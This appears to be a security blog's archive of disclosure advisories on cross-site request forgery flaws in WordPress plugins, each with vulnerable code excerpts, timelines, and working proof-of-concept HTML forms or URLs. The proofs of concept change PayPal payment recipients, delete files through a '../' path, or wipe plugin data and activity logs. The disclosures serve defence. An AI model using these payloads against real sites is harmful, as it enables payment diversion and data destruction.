12 Jun

Cross-Site Request Forgery (CSRF) Vulnerability in PayPal Digital Downloads

Recently we found that the plugin Contact Form 7 – PayPal Add-on contained a cross-site request forgery (CSRF) vulnerability with the saving of the plugin’s settings that would allow changing the PayPal address that payments through plugin go to. In looking over the developer’s other plugins we found that the PayPal Digital Downloads plugin contains the same vulnerability.

The issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /paypal-digital-downloads.php):

254
255
// save and update options
if (isset($_POST['update'])) {

We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause the PayPal API Username that payments go to, to be changed to test, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=easy-paypal-digital-download" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="api_username" value="test" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 18, 2017 – Developer notified.
12 Jun

Cross-Site Request Forgery (CSRF) Vulnerability in Contact Form 7 – PayPal Add-on

After noticing a number of vulnerabilities in a couple of plugins that work with the plugin Contact Form 7 we started looking over other plugins that work with it. In doing that we found that the plugin Contact Form 7 – PayPal Add-on has a cross-site request forgery (CSRF) vulnerability in its code to save the plugin’s settings, which could be used to change the PayPal account that payments through the plugin are sent.

The issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /paypal.php):

356
357
// save and update options
if (isset($_POST['update'])) {

We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause the PayPal account that payments go to, to be changed to test@example.com, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=cf7pp_admin_table" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="liveaccount" value="test@example.com" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 18, 2017 – Developer notified.
19 Apr

Cross-Site Request Forgery (CSRF) Vulnerabilities in Triagis® Security Evaluation

Far too often it is found that security plugins for WordPress introduce security vulnerabilities of their own, which if you know much about security isn’t too surprising considering that so many security companies don’t seem to know and or care much about security.

We recently ran across the security plugin Triagis® Security Evaluation, which is described as “a simple lite-weight plugin to analyze your current WordPress installation, server for security vulnerabilities”. While taking a look over the plugin we found that it made functions available through WordPress’ AJAX functionality that are restricted to Administrator level users, but lack protection against cross-site request forgery (CSRF). Through that an attacker could cause a logged in Administrator to change the WordPress content directory’s location, change the website’s file permissions, delete arbitrary files on a website, change a user’s username, change the database prefix, or move the WordPress configuration file. While CSRF vulnerabilities are not something likely to be targeted at this time, an attacker could cause some serious issues if they were successful in exploiting this.

As an example of the issues let’s take a look at the function w4sl_delete_file_ajax() (in the file /admin/page-security-informations.php), which handles deleting files.

The function checks if the user making the request is an Administrator:

575
576
if( !is_super_admin())
	die( json_encode( array( 'error' => 'Unauthorized access !!' )));

Then it checks if the file being requested to exists and is readable:

578
579
580
581
582
583
$file = w4sl_sanitize_path( $_POST['file'] );
if( empty( $file ) || !file_exists( $file ))
	die( json_encode( array( 'error' => 'File not found !!' )));
 
if( !is_readable( $file ))
	die( json_encode( array( 'error' => 'File not readable !!' )));

After that it deletes the file:

585
@unlink( $file );

Nowhere in the function is there a check for valid nonce, which is used to prevent CSRF in WordPress.

Proof of Concept

The following proof of concept will delete a file named test.txt in the root directory of the WordPress install.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="w4sl_delete_file" />
<input type="hidden" name="file" value="../test.txt" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • April 10, 2017 – Developer notified.
  • April 19, 2017 – WordPress.org Plugin Directory notified.
  • April 19, 2017 – Removed from WordPress.org Plugin Directory.
03 Feb

Vulnerability Details: Cross-Site Request Forgery (CSRF) Vulnerability in Watu

From time to time vulnerabilities are fixed in plugin without someone putting out a report on the vulnerability and we will put out a post detailing the vulnerability. While putting out the details of the vulnerability increases the chances of it being exploited, it also can help to identify vulnerabilities that haven’t been fully fixed (in some cases not fixed at all) and help to identify additional vulnerabilities in ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

01 Dec

Tip For Security Researchers: WordPress Uses a Nonce to Protect Against Cross-Site Request Forgery (CSRF)

For the last three false reports of vulnerabilities in WordPress plugins we have discussed, there has been a common denominator that we don’t quite understand. Each has involved a claim that a plugin has a cross-site request forgery (CSRF) vulnerability, but in the proof of concept for exploiting each of the vulnerabilities there has been nonce included. Seeing a nonce is what is used in WordPress to protect against that type of vulnerability, we have a hard time understanding what is going on here, other than people without the proper knowledge to make a claim that this type of vulnerability exist are in fact doing that.

When used in a form a simple version of the nonce looks like this:

<input type="hidden" id="_wpnonce" name="_wpnonce" value="aa27b52873" />

While it is not required to actually use the word “nonce”, in most cases it will be labeled as such.

While the existence of a valid looking nonce in a proof of concept of a vulnerability likely indicates that the report is false, the existence of a nonce in a plugin’s pages is not always an indication that there is not a CSRF vulnerability, as plugins do not always actually check if the nonce exists or that it is valid when processing the request tied to it. One way to test out if the CSRF protection is properly functioning is to use the developer tools in your web browser to modify the value of the nonce or remove it and see if the request is still successful.

30 Nov

Vulnerability Details: Cross-Site Request Forgery (CSRF) in Wp-D3

From time to time vulnerabilities are fixed in plugin without someone putting out a report on the vulnerability and we will put out a post detailing the vulnerability. While putting out the details of the vulnerability increases the chances of it being exploited, it also can help to identify vulnerabilities that haven’t been fully fixed (in some cases not fixed at all) and help to identify additional vulnerabilities in ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

28 Oct

Vulnerability Details: Cross-Site Request Forgery (CSRF) Vulnerability in WP Database Backup

From time to time vulnerabilities are fixed in plugin without someone putting out a report on the vulnerability and we will put out a post detailing the vulnerability. While putting out the details of the vulnerability increases the chances of it being exploited, it also can help to identify vulnerabilities that haven’t been fully fixed (in some cases not fixed at all) and help to identify additional vulnerabilities in ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

27 Oct

Cross-Site Request Forgery (CSRF) Vulnerability in GoDaddy Email Marketing

We recently found that the GoDaddy Email Marketing plugin had contained a cross-site request forgery (CSRF) vulnerability that could have caused all the data associate with the plugin to be deleted.

When the debug mode of the plugin is enabled the option to do a “cache reset” or a “hard reset” is made available. The “hard reset” would cause all of the data in the plugin to be deleted. As of version 1.1.2, a request for the URL /wp-admin/options-general.php?page=gem-settings&action=debug-reset would cause that to happen. As you can see, there is no nonce included in that URL, which is what is used to prevent CSRF in WordPress (there also was no check to make sure that a valid nonce was included before processing the request). Without that, if you could get a logged in administrator to visit that URL directly or cause them to send a request to that URL from a page you control, then all the data would be deleted.

Turning on the debug was properly protected against CSRF, so this was only exploitable if that was already enabled.

After we notified the developer they release two version of 1.1.3 of the plugin. The first version was intended to fix this, but was missing any changes. Version two of it included the fixes and version 1.1.4 was released right after that, so anyone with the first version of 1.1.3 will be prompted to upgrade to a fixed version.

Proof of Concept

The following proof of concept will cause the data associated with the plugin to be deleted, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/options-general.php?page=gem-settings&action=debug-reset

Timeline

  • 10/10/2016 – Contacted developer publicly to see how we could privately notify them of the issue.
  • 10/19/2016 – Developer responds after another one of the plugins is pulled from the directory due to vulnerability we discovered.
  • 10/19/2016 – We privately notified the developer of the issue.
  • 10/19/2016 – First version of 1.1.3 released, which intended to fix vulnerability but was missing any changes.
  • 10/26/2016 – Second version of 1.1.3 released, which fixes vulnerability.
13 Sep

Cross-Site Request Forgery (CSRF) Vulnerability in WooCommerce Product Feed

One of the things we do to provide the best data on vulnerabilities in WordPress plugins is to monitor the wordpress.org Support Forum for threads related to those. Last week we came across a thread indicating that there was cross-site request forgery (CSRF) vulnerability in the plugin WooCommerce Product Feed. When we went to look into this we noticed that version that was supposed to fix this didn’t have any changes that looked related to that. When then asked in thread if the developer was sure that the intended fix was included, they responded yes, but what they said then did to fix the vulnerability had actually been done in version released after we asked them the question, so the truth was that they had not.

Not enough information was given for us to determine if there had actually been the claimed CSRF vulnerability in the plugin, but while looking over the plugin we when original came across the thread, we noticed a cross-site request forgery (CSRF) that exists in the current version of the plugin.

The plugin generates product feeds from WooCommerce, for sharing data with shopping services. The creation of a new product feed lack CSRF protection, so if you could get a logged in Administrator to visit a page you control you could cause a new product feed to be created at a location known to the hacker. A lot of the information that can be included in that is usually public, so the potential security risk would depend on if any information that could be included is something that the website wouldn’t want known to someone outside of it.

Requests to generate a feed our sent to the page /wp-admin/admin.php?page=webappick-product-feed-for-woocommerce%2Fadmin%2Fclass-woo-feed-admin.php, which causes the function woo_feed_generate_feed(), in the file /woo-feed.php, to run. That in turn causes the function woo_feed_add_update() to run when creating a new feed:

350
351
352
353
354
355
356
function woo_feed_generate_feed()
{
    if (isset($_POST['provider'])) {
        ini_set('display_errors', 1);
        ini_set('display_startup_errors', 1);
        error_reporting(E_ALL);
        $process = woo_feed_add_update($_POST);

To prevent cross-site request forgery (CSRF) there should be nonce check done before the feed is created, but that doesn’t occur before woo_feed_add_update() is run and that function also doesn’t do one before getting into the code that creates the feed:

235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
function woo_feed_add_update($info = "", $name = "")
{
    set_time_limit(0);
    if (count($info) &amp;&amp; isset($info['provider'])) {
        # GEt Post data
        if ($info['provider'] == 'google') {
            $merchant = "Woo_Feed_Google";
        } elseif ($info['provider'] == 'facebook') {
            $merchant = "Woo_Feed_Facebook";
        } else {
            $merchant = "Woo_Feed_Custom";
        }
 
        $feedService = sanitize_text_field($info['provider']);
        $fileName = str_replace(" ", "", sanitize_text_field($info['filename']));
        $type = sanitize_text_field($info['feedType']);

We notified the developer directly a week ago and also notified them of that contact in the previously mentioned thread, but so far we have received no response and the vulnerability hasn’t been fixed, despite a new version being released since then.

Proof of Concept

The following proof of concept will cause a new product feed to be generated with total sales of all the products and be stored at /wp-content/uploads/woo-feed/custom/csv/TotalSales.csv, when logged in to WordPress as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=webappick-product-feed-for-woocommerce%2Fadmin%2Fclass-woo-feed-admin.php" method="POST">
<input type="hidden" name="provider" value="custom">
<input type="hidden" name="provider" value="custom">
<input type="hidden" name="filename" value="Total Sales">
<input type="hidden" name="feedType" value="csv">
<input type="hidden" name="itemsWrapper" value="products">
<input type="hidden" name="itemWrapper" value="product">
<input type="hidden" name="extraHeader" value="">
<input type="hidden" name="delimiter" value=",">
<input type="hidden" name="enclosure" value="double">
<input type="hidden" name="wf_tabs" value="on">
<input type="hidden" name="mattributes[]" value="Product">
<input type="hidden" name="prefix[]" value="">
<input type="hidden" name="type[]" value="attribute">
<input type="hidden" name="attributes[]" value="title">
<input type="hidden" name="default[]" value="">
<input type="hidden" name="suffix[]" value="">
<input type="hidden" name="output_type[0][]" value="1">
<input type="hidden" name="limit[]" value="">
<input type="hidden" name="mattributes[]" value="Total Sales">
<input type="hidden" name="prefix[]" value="">
<input type="hidden" name="type[]" value="attribute">
<input type="hidden" name="attributes[]" value="wf_cattr_total_sales">
<input type="hidden" name="default[]" value="">
<input type="hidden" name="suffix[]" value="">
<input type="hidden" name="output_type[1][]" value="1">
<input type="hidden" name="limit[]" value="">
<input type="hidden" name="ftpenabled" value="0">
<input type="hidden" name="ftphost" value="">
<input type="hidden" name="ftpuser" value="">
<input type="hidden" name="ftppassword" value="">
<input type="hidden" name="ftppath" value="">
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

9/6/2016 – Developer notified.

29 Jul

Cross-Site Request Forgery (CSRF) Vulnerability in User Activity Log

Every additional plugin that you add to your WordPress website adds additional security risk, that includes security plugins. Recently we did a quick check over plugins designed to allow you to keep track actions taken by users on your website. In several of cases we found rather minor security vulnerabilities. We found two related issues in the plugin User Activity Log due to a lack of protection against cross-site request forgery (CSRF).

A CSRF vulnerability involves causing someone to take an action they didn’t intend to. In the case of the first vulnerability in the plugin, if you could get an Administrator to visit a page you control you could cause them to in turn access the page /wp-admin/admin.php?page=general_settings_menu&db=reset, which would cause all logged activity to be deleted. You can see that the URL doesn’t contain a nonce, which is what is used to protect agains this type of vulnerability. This isn’t something that is likely to be exploited, but it is concern since it would make it easier for someone to erase some of the evidence of what malicious action they might have taken.

We received a response from the developer the same day we contacted this issue and the other we discovered, but a month later the plugin has yet to receive an update, so the vulnerabilities still exist in the current version, 1.2.3.

Proof of Concept

The following proof of concept will cause all logged activity to be deleted when accessed by an Administrator level account

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin.php?page=general_settings_menu&db=reset

Timeline

  • 6/29/2016 – Developer notified.
  • 6/29/2016 – Developer responds.
  • 6/29/2016 – Version 1.2.4 released, which fixes issue.